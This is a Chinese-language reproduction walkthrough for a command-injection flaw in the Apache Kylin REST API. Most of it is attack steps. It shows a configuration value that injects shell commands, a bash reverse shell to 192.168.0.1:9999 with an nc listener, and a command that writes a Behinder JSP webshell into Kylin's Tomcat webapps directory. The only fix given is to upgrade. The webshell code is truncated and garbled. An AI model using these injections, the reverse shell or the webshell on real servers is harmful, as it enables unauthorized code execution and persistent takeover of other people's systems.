一、漏洞描述 Kylin中存在一些 restful API,可以将操作系统命令与用户输入的字符串连接起来,由于未对用户输入内容做合理校验,导致攻击者可以在未经验证的情况下执行任意系统命令。 二、影响版本Kylin 2.3.0-2.3.2
Kylin 2.4.0-2.4.1
Kylin 2.5.0-2.5.2
Kylin 2.6.0-2.6.5
Kylin 3.0.0-alpha
Kylin 3.0.0-alpha2
Kylin 3.0.0-beta
Kylin 3.0.0-3.0.1Apache Kylin是Apache软件基金会的一款开源的、分布式的分析型数据仓库,主要提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)能力,以支持超大规模数据。 漏洞复现: 漏洞利用条件 1、需要登陆。
2、需要开启配置登陆系统后进行对漏洞环境进行配置 配置前 1.需要先登录这个网站2.登陆后修改相应配置第一部分:利用漏洞执行touch /tmp/xiang命令1.在界面Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/xiang; echo ;注意其中注入了 touch /tmp/xiang 的系统命令。 选择第一行记录中的cube:kylin_sales_cube 和对应的 Project:learn_kylin 作为路径参数,在获取登陆的Cookie,如下构造POC,在burpsuite的repeater模块发送这个数据包。 .到镜像的终端下查看通过发送数据包之前和之后的对比发现多了xiang文件,说明成功的利用漏洞执行系统命令。 1.将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/192.168.0.1/9999 0>&1; echo 。其中注入的命令从 touch /tmp/xiang 换成了反弹 shell 的命令 bash -i >& /dev/tcp/192.168.0.1/9999 0>&1,反弹到ip为 192.168.0.1的主机上。 本机nc lvvp 监听9999端口 利用漏洞写入冰蝎马,获取网站的shell1.在界面Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; echo ‘,javax.crypto.,javax.crypto.spec.*”%>’ >/home/admin/apache-kylin-3.0.1-bin-hbase1x/tomcat/webapps/kylin/shell.jsp; echo 在使用冰蝎连接
代码审计原理 修复:升级到最新版本
|